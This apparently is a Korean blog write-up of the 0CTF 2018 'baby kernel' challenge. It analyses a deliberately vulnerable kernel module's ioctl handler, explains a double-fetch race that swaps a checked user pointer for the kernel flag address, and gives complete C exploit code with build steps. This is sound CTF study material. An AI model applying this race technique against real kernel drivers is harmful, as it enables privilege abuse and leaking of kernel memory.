상세 컨텐츠

본문 제목

[0CTF 2018] baby kernel 2(kernel exploit, double fetch, race condition)

SYSTEM HACKING/CTF, etc

by koharin 2021. 11. 11. 23:41

본문

728x90
반응형

파일 확인


  • core.cpio 파일시스템
    • binwalk 명령어로 확인 시 압축이 되어있지 않으므로, cpio 명령어로 파일시스템을 추출한다.루트 경로에서 커널 모듈인 baby.ko를 확인할 수 있다.baby.ko는 x86_64 64bit ELF 파일로, IDA로 디컴파일하여 코드 분석을 진행해보아야 한다.
$ binwalk core.cpio 
DECIMAL HEXADECIMAL DESCRIPTION 
-------------------------------------------------------------------------------- 
0 0x0 ASCII cpio archive (SVR4 with no CRC), file name: ".", file name length: "0x00000002", file size: "0x00000000" 
112 0x70 ASCII cpio archive (SVR4 with no CRC), file name: "init", file name length: "0x00000005", file size: "0x00000199" 
640 0x280 ASCII cpio archive (SVR4 with no CRC), file name: "lib", file name length: "0x00000004", file size: "0x00000000" 
756 0x2F4 ASCII cpio archive (SVR4 with no CRC), file name: "lib/modules", file name length: "0x0000000C", file size: "0x00000000" 
880 0x370 ASCII cpio archive (SVR4 with no CRC), file name: "lib/modules/4.4.72", file name length: "0x00000013", file size: "0x00000000" 
1012 0x3F4 ASCII cpio archive (SVR4 with no CRC), file name: "lib/modules/4.4.72/babydriver.ko", file name length: "0x00000021", file size: "0x00031C10" 
204948 0x32094 ASCII cpio archive (SVR4 with no CRC), file name: "core.cpio", file name length: "0x0000000A", file size: "0x0039A200" 
[...]
$ md core 
$ cp core.cpio core 
$ cd core 
$ cpio -id -v < core.cpio .
$ ls 
baby.ko 
bin 
core.cpio 
etc 
home 
init 
lib 
linuxrc 
proc 
sbin 
sys 
tmp 
usr

루트 경로에서 커널 모듈인 baby.ko를 확인할 수 있다.

$ binwalk baby.ko DECIMAL HEXADECIMAL DESCRIPTION 
-------------------------------------------------------------------------------- 
0 0x0 ELF, 64-bit LSB relocatable, AMD x86-64, version 1 (SYSV)

baby.ko는 x86_64 64bit ELF 파일로, IDA로 디컴파일하여 코드 분석을 진행해보아야 한다.

  • start.sh QEMU로 커널 부팅하는 스크립트
qemu-system-x86_64 
\ -m 256M -smp 2,cores=2,threads=1 
\ -kernel ./vmlinuz-4.15.0-22-generic 
\ -initrd ./core.cpio 
\ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" 
\ -cpu qemu64 
\ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 
\ -nographic -enable-kvm 
\
  • -m 256M -smp 2,cores=2,threads=1 256 MiB 가상메모리 할당, SMP 보호기법 적용
  • -kernel ./vmlinuz-4.15.0-22-generic 커널 이미지 부팅
  • -initrd ./core.cpio 파일시스템 로드
  • vmlinuz-4.15.0-22-generic 커널 이미지

 

 

Code Analysis


baby.ko 파일을 IDA로 디컴파일 시, __chk_range_not_ok, baby_ioctl, init_module, cleanup_module 함수를 확인할 수 있다.

 

init_module()

__int64 init_module()
{
  _fentry__();
  misc_register(&baby);
  return 0LL;
}
  • 디바이스 드라이버 등록 시 호출되는 함수이다.
  • misc_register
    • 디바이스 드라이버를 메모리에 적재하기 위해 호출한다.
    • baby 드라이버는 Misc 디바이스 드라이버임을 알 수 있다.

 

cleanup_module()

__int64 cleanup_module()
{
  return misc_deregister(&baby);
}
  • misc_deregister 디바이스 드라이버를 제거한다.

 

baby_ioctl()

signed __int64 __fastcall baby_ioctl(__int64 a1, int a2)
{
  __int64 v2; // rdx - 3번째 인자
  signed __int64 result; // rax
  int i; // [rsp-5Ch] [rbp-5Ch]
  __int64 v5; // [rsp-58h] [rbp-58h]

  _fentry__();
  v5 = v2;
  if ( a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\\n", flag);
    result = 0LL;
  }
  else if ( a2 == 0x1337
         && !_chk_range_not_ok(v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && !_chk_range_not_ok(
               *(_QWORD *)v5,
               *(signed int *)(v5 + 8),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && *(_DWORD *)(v5 + 8) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\\n", flag);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}
  • baby_ioctl에서 user의 input으로는 a1, a2 인자가 있다. a2가 26214 또는 4919 값일 때 각각 다른 동작을 하는 것으로 a2 인자는 cmd라고 생각했다.
  • a2가 0x6666인 경우
    • flag가 위치한 주소를 출력해준다. flag는 전역변수로, 하드코딩된 flag 값을 확인할 수 있다.
.data:0000000000000480 flag dq offset aFlagThisWillBe .data:0000000000000480 ; DATA XREF: baby_ioctl+2A↑r .data:0000000000000480 ; baby_ioctl+DB↑r ... .data:0000000000000480
  • else if 
    • 조건
      1. baby_ioctl() 함수의 세 번째 인자인 v2가 userland 주소인지 체크
      2. 입력값 주소 필드가 userland 주소인지 체크
      3. 입력값의 사이즈 필드와 flag 길이가 동일한지 체크
    • else if문에서 플래그 길이만큼 입력 v5 각 문자와 flag 각 문자를 비교하는 것, v5+8이 strlen(flag)와 같은지 비교하는 것으로 입력값에서 첫 번째 팔드 스트링인 flag, 두 번째 필드는 길이 len을 입력받는 것을 알 수 있다. 또한 스트링이 flag와 동일하면 플래그를 출력해준다. 따라서 else if문의 조건을 만족해야 한다.

 

_chk_range_not_ok()

bool __fastcall _chk_range_not_ok(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int8 v3; // cf
  unsigned __int64 v4; // rdi
  bool result; // al

  v3 = __CFADD__(a2, a1);
  v4 = a2 + a1;
  if ( v3 )
    result = 1;
  else
    result = a3 < v4;
  return result;
}
  • v3 = __CFADD__(a2,a1) 인자 a1과 a2를 _CFADD 함수로 더한 결과의 carry flag 값이 v3에 저장된다.
  • 데이터 범위가 userland인지 확인한다. _chk_range_ok 함수 반환값(result)이 0이어야 baby_ioctl() 함수에서 else if 조건문을 만족할 수 있다.
    1. a1이 flag 주소(커널 주소)이면 carry flag가 설정되어 v3가 0이 아니고, if(v3)에 의해result 값이 1로 설정된다.
    2. v4 = a2 + a1인데, 이 값이 a3보다 작아야 한다.
  • 두 가지 조건을 만족하려면 입력에서 주소는 userland 주소이어야 한다.

 

 

Vulnerability


baby_ioctl 함수에서 else if 조건문 내부로 들어가려면 입력값의 주소가 userland 주소이어야 한다.
하지만 else if문 내부에서 flag 출력 조건을 만족하려면, 입력 주소는 flag 주소이어야 한다.
addr 필드 값으로 userland 주소를 줘서 조건문을 통과한 후, 쓰레드 함수를 통해 입력값의 주소를 flag 주소로 바꿔서 flag 출력 조건을 만족시킬 수 있다. (race condition)

 

 

Exploit


  • flag 주소 구하기
    • ioctl(fd, 0x666)
    • printk() 출력 메시지는 dmesg 명령어로 확인할 수 있다. dmesg로 printk로 출력된 flag 주소를 구한다.

  • 입력 구조체 addr 필드는 임의의 스택 주소(userland 주소), len 필드는 실제 flag 길이인 33으로 값을 설정한다.
  • race condition
    • int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);
      • thread: 쓰레드가 성공적으로 생성됐을 때 생성된 쓰레드 식별 위한 쓰레드 식별자 → 쓰레드 변수
      • attr: 쓰레드 특성 지정. 기본 쓰레드 사용 시 NULL로 지정 → NULL로 지정
      • start_routine: 분기해서 실행할 함수 → flag addr로 바꾸는 함수로 지정
      • arg: start_routine 쓰레드 함수의 매개변수 → 구조체 변수로 지정
    • change_addr 함수에서 addr 필드를 실제 flag 주소로 바꾼다. ⇒ else if 조건문 통과 시 flag 출력하기 위해 바꿔준다. → printk로 출력되기 때문에 dmesg로 확인할 수 있다.
    • race condition이기 때문에 언제 else if문을 조건을 만족해서 그 순간에 change_addr 함수로 flag addr로 변경 후 플래그를 출력할지 모르기 때문에 반복적으로 ioctl 함수 호출 전 addr 필드를 스택 주소로 바꿔줘서 else if문 조건을 만족시켜줘야 한다. change_addr 쓰레드 함수 내부에서도 반복문을 통해 계속 addr 필드를 실제 flag 주소로 바꿔주고, 만약 플래그가 출력돼서 end = 1이 되면 끝내도 되기 때문에 종료해준다.

 

Exploit Code

#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h> // exit()
#include <sys/ioctl.h> // ioctl()
#include <string.h> // strstr()
#include <unistd.h> // read()
#include <pthread.h> // pthread

int end = 0;
unsigned long long flag_addr;

struct input
{
    char *addr;
    size_t len;
};

void change_addr(void *input)
{
    struct input *in = input;
    while(end == 0) // end == 1이면 종료
    {
        in->addr = flag_addr;
    }
}

int main()
{
    int fd, fd2;
    char *flag, *index;
    char buf[0x100]={0};
    int ret;
    struct input in;
    pthread_t thread;

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    fd = open("/dev/baby", O_RDWR);

    // cmd == 0x666: get flag addr
    ioctl(fd, 0x6666);
    system("dmesg | grep flag > /tmp/msg");
    fd2 = open("/tmp/msg", O_RDONLY);
    read(fd2, buf, 0x100-1);
    close(fd2);
    index = strstr(buf, "Your flag is at ");
    if(index)
    {
        index += 0x10; // flag 위치
        flag_addr = strtoull(index, index+0x10, 0x10);
        printf("[+] flag addr: %p\\n", flag_addr);
    }else{
        puts("[-] flag addr not found.");
        exit(0);
    }
    
    // cmd == 0x1337: 조건문 통과 위해 len을 33(실제 플래그 길이), addr을 임의의 스택 주소(userland)로 설정
    in.addr = buf;
    in.len = 0x21;

    // 쓰레드 생성. else if 내부로 들어가서 플래그 출력 위해 t.addr을 실제 flag 주소로 변경
    pthread_create(&thread, NULL, &change_addr, &in);
    while(1)
    {
        ret = ioctl(fd, 0x1337, &in);
        if(!ret) 
        {
            end = 1;
            break;
        }
        // else if 조건문 만족 위해 ioctl 호출 전 스택 주소로  바꿔준다.
        in.addr = buf;
    }
    // 쓰레드 종료를 기다린다.
    pthread_join(thread, NULL);
    close(fd);
    // flag 출력
    system("dmesg | grep flag");

    return 0;
}
$ gcc -static -o exploit exploit.c -pthread # exploit code compile
$ cp exploit core/home/ctf # add exploit code
$ cd core
$ find . | cpio -o --format=newc | gzip > core.cpio # create file system
$ ..
$ ./run.sh

 

Result

 

 

Reference


ctf-challenge/2018 0CTF Finals Baby Kernel at master · cc-sir/ctf-challenge
[0ctf 2019] babykernel2
ctf-challenges/pwn/kernel/0CTF2018-baby at master · ctf-wiki/ctf-challenges
Misc 디바이스 드라이버1
C언어: 쓰레드 pthread_create() 예제 - 쓰레드 생성 기본

728x90
반응형

'SYSTEM HACKING > CTF, etc' 카테고리의 다른 글

관련글 더보기